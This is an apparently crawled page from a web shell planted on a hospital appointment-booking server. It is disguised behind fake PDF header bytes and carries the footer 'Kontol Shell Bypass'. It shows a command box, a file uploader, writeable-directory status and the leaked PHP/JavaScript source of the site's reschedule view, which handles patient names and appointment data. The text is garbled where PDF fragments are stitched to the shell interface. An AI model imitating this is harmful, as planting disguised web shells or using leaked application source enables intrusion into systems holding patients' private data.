%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/drbooking/application/views/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/drbooking/application/views/reschedule.php
<link rel="stylesheet" href="//code.jquery.com/ui/1.13.1/themes/base/jquery-ui.css">
<script src="https://code.jquery.com/jquery-3.6.0.js"></script>
<script src="https://code.jquery.com/ui/1.13.1/jquery-ui.js"></script>
<script>
$(function () {
	$("#dateofbirth").datepicker({
		changeMonth: true,
		changeYear: true,
		maxDate: 0,
		yearRange: '-100:+0'
	}); 
	$("#appointment_date").datepicker({
		changeMonth: true,
		changeYear: true,
		minDate: 0,
		yearRange: '+0:+0'
	});
});
</script>
<div class="doctor-detail">
        <div class="container">	
            <div class="row">
                  <div class="col-md-4">
                 	 <div class="doc-info">
                     	<div class="image">
                     	<img src="<?php echo base_url('assests/images'); ?>/doc.png">
                        </div>
						
                        <div class="conant">
                        	<h4><?=$doctorDetails->fullname?></h4>
							<p><?=$doctorDetails->departmentname?></p>

                            <ul>
                            <li><?=$doctorDetails->specialisationname ?></li>
                            <li><?php 
								$languagesArray = array(); 
								foreach($doctorDetails->languagelist as $lobj) { $languagesArray[] = $lobj->LanguageName; } 
								echo implode(', ', $languagesArray);
								?></li>
                            </ul>

							<div class="heading-line">
                    		<h5>About </h5>  
                			</div>
                                
                                <p><?=$doctorDetails->fullname ?> is a Consultant at Sharda Hospital with impeccable educational and practical background. Apart from his interest in <?=$doctorDetails->specialisationname ?>, he has been a part of renowned hospital which makes him a pro in this field. Dr. <?=$doctorDetails->firstname ?> is actively taking part in development to <?=$doctorDetails->departmentname?> unit in Sharda Hospital</p>
							</div>
                     </div>
                 </div>
                 <div class="col-md-8">
				<?php if($this->session->flashdata('msg')){ ?>
				<p><?=$this->session->flashdata('msg')?></p>
				<?php } ?>
				  <form method="POST" name="reschedule_app" id="reschedule_app" action="<?=base_url('booking/reschedule/'.base64_encode($orderDetails->id))?>" >
				 
                 	<div class="doc-conformation">
                    	 
                    		<h2>Existing Slot Details</h2>
                		 
							 <table class=""style="margin:0;">
							 <td width="30%">Patient Name</td>
                                <td><?=$orderDetails->full_name?></td>
								<tr>
									<td width="30%">Appointment ID</td>
									<td><?php echo $orderDetails->order_id; ?></td>
								</tr>
								<tr>
									<td width="30%">Appointment Date</td>
									<td><?php $appointmentDate = explode(' ', $orderDetails->slot_id); echo $appointmentDate[0]; ?></td>
								</tr>
								<tr>
									<td>Appointment slot</td>
									<td><?=str_replace(array($appointmentDate[0], '::'),array('',' - '),$orderDetails->slot_id)?></td>
								</tr>
								<tr>
                                
                            </tr>
								 
							</table>
										 
							 
</div>
<div class="doc-form">
						
					    <!-- <div class="heading-line">
                    		<h5>Personal Details </h5>
                		</div>	 -->
			            <!-- <table class=""> 
                            
                            <tr>
                                <td width="30%">HIS Id</td>
                                <td><?=$orderDetails->his_id?></td>
                            </tr>
                            <tr>
                                <td width="30%">Name</td>
                                <td><?=$orderDetails->full_name?></td>
                            </tr>
                            <tr>
                                <td>Date of Birth</td>
                                <td><?=$orderDetails->dob?></td>
                            </tr>
                            <tr>
                                <td>Age</td>
                                <td><?=$orderDetails->age?></td>
                            </tr>
                            <tr>
                                <td>Phone No</td>
                                <td><?=$orderDetails->mobile_number?></td>
                            </tr>
                            <tr>
                                <td>Address</td>
                                <td><?=$orderDetails->address?></td>
                            </tr>
                         </table> -->
						 
                    	<div class="heading-line">
                    		<h5>Select Date </h5>
                		</div>
                        <div class="row">
							<div class="col-md-7">
							   <div class="date-sec" id="msg_div">
								   <div class="appointdate">
										<input type="text" name="appointment_date" id="appointment_date" placeholder="Select Appointment Date">
										<a href="javascript:void(0)" class="getavailableslots" rel="nofollow">Get Availabe Slots  </a>
									</div>
							   </div>
										 
							</div>
						</div>

                        <div class="heading-line">
                    		<h5>Select Time </h5>
                		</div>
                        <div class="time-tabing" style="padding:15px 0;">
						
                        	<ul class="nav nav-tabs" id="myTab" role="tablist">
                              <li class="nav-item" role="presentation">
                                <button class="nav-link active" id="home-tab" data-bs-toggle="tab" data-bs-target="#home" type="button" role="tab" aria-controls="home" aria-selected="true">Available Slots</button>
                              </li>
                            </ul>
							
                            <div class="tab-content" id="myTabContent">
                              <div class="tab-pane fade show active" id="home" role="tabpanel" aria-labelledby="home-tab">
									<div class="radio-sec" id="dr_available_slots">
											<?php 
											if(count($slotsArray)) {
											foreach($slotsArray as $row) {
												if($row->StatusText=='Available') {
												?>
                                                <label class="labcoms">
                                                    <input type="radio" name="available_slots" checked>
                                                    <span class="checkmark"><strong><?=$row->StartTime?> - <?=$row->EndTime?></strong></span>

                                                </label>
											<?php } }  } else { ?>
											<label class="labcoms">
                                                   <div id="loading_slots" style="display:none;"><img src="<?=base_url('assests/imgs/loading.gif')?>"></div>
                                                    <span><strong>Please select Appointment Date</strong></span>

                                                </label>
											<?php } ?>
                                                
									</div>
                              </div>
                           
                            </div>
                        </div>
                        
                         
                        
                        <div class="p-data new-rebtn">
                        	<div class="row">
                                <div class="col-md-10">
								

							<input type="hidden" name="id" id="id" value="<?=$orderDetails->id?>">
							<input type="hidden" name="RegistrationNo" id="RegistrationNo" value="<?=$orderDetails->his_id?>">
							<input type="hidden" name="appointmentId" id="appointmentId" value="<?=$orderDetails->appointment_id?>">
							<input type="hidden" name="DoctorId" id="DoctorId" value="<?=$orderDetails->dr_id?>">
							<input type="submit" class="button1" id="validaterequest" name="submit" value="Continue">
                        </div>
                        </div>
                        </div>
                      </div>
					  
					 </form> 
					  
					  
                 </div>
            </div>
             
        </div>    
    </div>
 </div> 
<script>
$(document).ready(function() {
	/*
	* Onclick step1 validate and check current status
	*/
    $("#validaterequest").on("click", function (e) {
		var appointmentd = $('#appointment_date').val();
		var slot_id = $("input[name='available_slots']:checked").val();
		
		if (typeof appointmentd == 'undefined') { appointmentd = ''; }
		if (typeof slot_id == 'undefined') { slot_id = ''; }
        
        $("#appointmentd").removeClass('has-error');
        $(".labcoms").removeClass('has-error');
        $("#appointment_date").removeClass('has-error');
		$("#appointment_date_msg").remove();
        var error_flag = 'N';
       
        if (appointmentd == '') {
            $("#appointment_date").addClass("has-error");
			 $("<p style='color:red;' id='appointment_date_msg'>Please select Appointment Date.</p>").insertAfter(".appointdate");
            error_flag = 'Y';
        } 
    	if (slot_id == '') {
            $(".labcoms").addClass("has-error");
            error_flag = 'Y';
        }
        if (error_flag == 'N') {
            return true
        }
        return false;
    });


	$('.getavailableslots').on('click', function(e) {
		$('#loading_slots').show();   
		var appointmentd = $('#appointment_date').val();
		var dr_id = "<?=$doctorDetails->dr_id?>";
		
		if (typeof appointmentd == 'undefined') { appointmentd = ''; }
		$("#appointment_date").parent().removeClass('has-error');
		$("#appointment_date_msg").remove();
        var error_flag = 'N';
       
        if (appointmentd == '') {
            $("#appointment_date").parent().addClass("has-error");
			 $("<p style='color:red;' id='appointment_date_msg'>Please select Appointment Date.</p>").insertAfter(".appointdate");
            error_flag = 'Y';
        } 
	    if (error_flag == 'N') {
			$.ajax({
			  url : $('body').attr('data-base-url') + 'bookappointment/get_availableslots',
			  method: 'post', 
			  data : {
				appointmentdate: appointmentd, dr_id:dr_id
			  }
			}).done(function(data) {
				$('#loading_slots').hide();
				$('#dr_available_slots').html('');
				$('#dr_available_slots').html(data);
			}) 
		}
		$('#loading_slots').hide();
	 });
	 
	  $('#country_id').change(function(){
        var country_id = $('#country_id').val();
		$.ajax({
			  url : $('body').attr('data-base-url') + 'bookappointment/get_statelist',
			  method: 'post', 
			  data : {
				country_id: country_id
			  }
			}).done(function(response) {
				$('#loading').hide();
				$('#state_id').html('');
				$('#state_id').append($('<option>').text(' -- Select State -- ').attr('value', ''));
				$.each(response,function(i,value){
					$('#state_id').append($('<option>').text(value).attr('value', i));
					
				});
			});
	  });
		
	  $('#state_id').change(function(){
        var state_id = $('#state_id').val();
		$.ajax({
			  url : $('body').attr('data-base-url') + 'bookappointment/get_citylist',
			  method: 'post', 
			  data : {
				state_id: state_id
			  }
			}).done(function(response) {
				$('#loading').hide();
				$('#city_id').html('');
				$('#city_id').append($('<option>').text(' -- Select City -- ').attr('value', ''));
				$.each(response,function(i,value){
					$('#city_id').append($('<option>').text(value).attr('value', i));
					
				});
			})
    });
	
	$("#dob").change(function(){

		var today = new Date();
		var birthDate = new Date($('#dob').val());
		var age = today.getFullYear() - birthDate.getFullYear();
		var m = today.getMonth() - birthDate.getMonth();
		if (m < 0 || (m === 0 && today.getDate() < birthDate.getDate())) {
			age--;
		}
	   return $('#age').html(age+' years old');
	});
	
	$("#dateofbirth").change(function(){
		
		var today = new Date();
		var birthDate = new Date($('#dateofbirth').val());
		var age = today.getFullYear() - birthDate.getFullYear();
		var m = today.getMonth() - birthDate.getMonth();
		if (m < 0 || (m === 0 && today.getDate() < birthDate.getDate())) {
			age--;
		}
	
		if(age>0){
			$('#age').val(age+' years');
		} else {
			$('#age').val(age+' year');
		}
	});							
                   
	 	 
});


</script>
 

Kontol Shell Bypass